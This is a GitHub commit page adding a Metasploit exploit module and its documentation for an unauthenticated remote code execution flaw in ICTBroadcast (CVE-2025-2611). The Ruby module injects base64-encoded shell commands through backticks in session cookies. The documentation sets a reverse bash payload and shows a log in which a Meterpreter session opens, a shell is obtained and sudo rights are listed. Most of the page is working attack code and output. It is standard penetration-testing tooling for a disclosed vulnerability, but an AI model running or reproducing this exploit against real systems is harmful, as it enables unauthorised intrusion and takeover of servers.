Skip to content

Commit 50ef5ed

Browse files
committed
Add Unauthenticated ICTBroadcast Remote Code Execution (CVE-2025-2611)
1 parent c2971d5 commit 50ef5ed

File tree

2 files changed

+287
-0
lines changed

2 files changed

+287
-0
lines changed
Lines changed: 156 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,156 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an **unauthenticated remote code
4+
execution (RCE)** vulnerability in **ICTBroadcast**.
5+
The vulnerability exists due to improper handling of session
6+
cookies in the authentication mechanism. An attacker can inject arbitrary system commands by modifying the session cookie.
7+
8+
The issue affects **various versions of ICTBroadcast**, but
9+
specific impacted releases are currently unknown. The vulnerability allows an attacker to execute shell commands **without authentication**.
10+
11+
## Options
12+
13+
None
14+
15+
## Testing
16+
17+
To test the exploit, spin up a vulnerable ICTBroadcast instance with Docker.
18+
19+
```yaml
20+
services:
21+
db:
22+
image: mariadb:10.6
23+
container_name: ictmysql
24+
restart: unless-stopped
25+
environment:
26+
MYSQL_ROOT_PASSWORD: root
27+
MARIADB_ROOT_HOST: '%'
28+
MYSQL_DATABASE: ictbroadcast
29+
MYSQL_USER: ictuser
30+
MYSQL_PASSWORD: ictpass
31+
volumes:
32+
- db_data:/var/lib/mysql
33+
ports:
34+
- "3306:3306"
35+
36+
ictbroadcast:
37+
image: chocapikk/ictbroadcast-cve-2025-2611:latest
38+
container_name: ictbroadcast
39+
depends_on:
40+
- db
41+
ports:
42+
- "80:80"
43+
- "443:443"
44+
command: >
45+
bash -c "
46+
composer --working-dir=/usr require stefangabos/zebra_pagination &&
47+
/usr/sbin/httpd -k start &&
48+
/usr/sbin/php-fpm &&
49+
tail -f /dev/null
50+
"
51+
52+
volumes:
53+
db_data:
54+
```
55+
56+
1. Start the stack:
57+
58+
```bash
59+
docker compose up -d
60+
```
61+
62+
2. Verify that the login page is reachable at **`http://localhost/login.php`**.
63+
The application should issue a valid session cookie on first visit.
64+
65+
3. Run the Metasploit module.
66+
The exploit will automatically harvest the session cookie (format may vary across deployments)
67+
and leverage it to execute arbitrary commands via the vulnerable endpoint.
68+
69+
## Verification Steps
70+
1. Start **Metasploit Framework**:
71+
```bash
72+
msfconsole
73+
```
74+
75+
2. Load the module:
76+
```bash
77+
use exploit/linux/http/ictbroadcast_unauth_cookie
78+
```
79+
80+
3. Set the **target IP address**:
81+
```bash
82+
set RHOSTS <TARGET_IP>
83+
```
84+
85+
4. Set the **payload** for command execution:
86+
```bash
87+
set PAYLOAD cmd/unix/reverse_bash
88+
```
89+
90+
5. Configure the listener:
91+
```bash
92+
set LHOST <YOUR_IP>
93+
set LPORT 4444
94+
```
95+
96+
6. Check if the target is vulnerable:
97+
```bash
98+
check
99+
```
100+
101+
7. Exploit the target:
102+
```bash
103+
exploit
104+
```
105+
106+
## Scenarios
107+
108+
### **Unauthenticated Command Execution**
109+
**Note**: Ensure that the target is vulnerable using the `check` command before running the exploit.
110+
111+
**Note**: The session cookie is retrieved dynamically and modified for command injection.
112+
113+
```bash
114+
msf6 exploit(linux/http/ictbroadcast_unauth_cookie) > run http://lab/
115+
[*] Started reverse TCP handler on 192.168.1.36:4444
116+
[*] Running automatic check ("set AutoCheck false" to disable)
117+
[*] Checking if target is an ICTBroadcast instance…
118+
[+] ICTBroadcast detected, verifying injection…
119+
[*] Retrieving session cookies dynamically...
120+
[*] Found cookies: BROADCAST="16c4d0bf9d5b5cf9d8dc3f19e6ea2338;"
121+
[+] The target is vulnerable. Injection confirmed (slept 3s)
122+
[*] Sending stage (3090404 bytes) to 192.168.128.3
123+
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 192.168.128.3:58784) at 2025-08-02 19:27:09 +0200
124+
125+
meterpreter > sysinfo
126+
Computer : 192.168.128.3
127+
OS : Red Hat 8.10 (Linux 6.15.8-2-cachyos)
128+
Architecture : x64
129+
BuildTuple : x86_64-linux-musl
130+
Meterpreter : x64/linux
131+
meterpreter > shell
132+
Process 798 created.
133+
Channel 1 created.
134+
export TERM=xterm
135+
SHELL=/bin/bash script -q /dev/null
136+
bash-4.4$ sudo -l
137+
sudo -l
138+
Matching Defaults entries for asterisk on f7681361bd20:
139+
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
140+
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
141+
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
142+
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
143+
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
144+
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
145+
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
146+
147+
User asterisk may run the following commands on f7681361bd20:
148+
(root) NOPASSWD: /usr/sbin/asterisk
149+
(root) NOPASSWD: /etc/init.d/asterisk
150+
(root) NOPASSWD: /etc/init.d/httpd
151+
(root) NOPASSWD: /etc/init.d/mysqld
152+
(root) NOPASSWD: /etc/init.d/kannel
153+
(root) NOPASSWD: /usr/sbin/ntpdate
154+
(root) NOPASSWD: /usr/sbin/rabbitmqctl
155+
(root) NOPASSWD: /bin/systemctl
156+
```
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'ICTBroadcast Unauthenticated Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits an unauthenticated remote code execution (RCE) vulnerability
19+
in ICTBroadcast. The vulnerability exists in the way session cookies are handled
20+
and processed, allowing an attacker to inject arbitrary system commands.
21+
},
22+
'Author' => [
23+
'Valentin Lobstein' # Metasploit module, Vulnerability discovery
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' => [
27+
['URL', 'https://www.ictbroadcast.com/'],
28+
['CVE', '2025-2611']
29+
],
30+
'Platform' => %w[unix linux],
31+
'Arch' => [ARCH_CMD],
32+
'Targets' => [
33+
[
34+
'Unix/Linux Command Shell',
35+
{
36+
'Platform' => %w[unix linux],
37+
'Arch' => ARCH_CMD
38+
}
39+
]
40+
],
41+
'DefaultTarget' => 0,
42+
'Privileged' => false,
43+
'DisclosureDate' => '2025-03-19',
44+
'Notes' => {
45+
'Stability' => [CRASH_SAFE],
46+
'Reliability' => [REPEATABLE_SESSION],
47+
'SideEffects' => [IOC_IN_LOGS]
48+
}
49+
)
50+
)
51+
end
52+
53+
def get_valid_cookies
54+
return @valid_cookies if @valid_cookies
55+
56+
print_status('Retrieving session cookies dynamically...')
57+
res = send_request_cgi(
58+
'method' => 'GET',
59+
'uri' => normalize_uri(target_uri.path, 'login.php')
60+
)
61+
62+
return [] unless res&.get_cookies
63+
64+
cookies = res.get_cookies.split('; ').map do |c|
65+
key, value = c.split('=', 2)
66+
next unless key && value
67+
68+
Msf::Exploit::Remote::HTTP::HttpCookie.new(key.strip, value.strip)
69+
end.compact
70+
71+
print_status("Found cookies: #{cookies.map(&:to_s).join(', ')}")
72+
@valid_cookies = cookies
73+
end
74+
75+
def inject_cookie_payload(command)
76+
cookies = get_valid_cookies
77+
return if cookies.empty?
78+
79+
encoded_command = Rex::Text.encode_base64(command)
80+
payload = "echo${IFS}#{encoded_command}|base64${IFS}-d|sh"
81+
82+
updated_cookies = cookies.map do |cookie|
83+
"#{cookie.name}=`#{payload}`"
84+
end.join('; ')
85+
86+
send_request_cgi(
87+
'method' => 'GET',
88+
'uri' => normalize_uri(target_uri.path, 'login.php'),
89+
'headers' => { 'Cookie' => updated_cookies }
90+
)
91+
end
92+
93+
def check
94+
print_status('Checking if target is an ICTBroadcast instance…')
95+
96+
res = send_request_cgi(
97+
'method' => 'GET',
98+
'uri' => normalize_uri(target_uri.path)
99+
)
100+
return Exploit::CheckCode::Unknown('No response from target.') unless res
101+
return Exploit::CheckCode::Safe unless res.code == 200
102+
103+
html = res.get_html_document
104+
title = html.at('title')&.text
105+
keywords = html.at("meta[name='keywords']")&.[]('content')
106+
description = html.at("meta[name='description']")&.[]('content')
107+
108+
if title&.include?('ICT Broadcast') ||
109+
keywords&.include?('ict') ||
110+
description&.include?('ICT Broadcast')
111+
112+
print_good('ICTBroadcast detected, verifying injection…')
113+
114+
[1, 2, 3, 4, 5].sample(3).each do |t|
115+
start_time = Time.now
116+
inject_cookie_payload("sleep #{t}")
117+
if (Time.now - start_time) >= (t - 0.3)
118+
return Exploit::CheckCode::Vulnerable("Injection confirmed (slept #{t}s)")
119+
end
120+
end
121+
122+
return Exploit::CheckCode::Appears('ICTBroadcast detected, but injection timing did not match.')
123+
end
124+
125+
Exploit::CheckCode::Safe
126+
end
127+
128+
def exploit
129+
inject_cookie_payload(payload.encoded)
130+
end
131+
end

0 commit comments

Comments
 (0)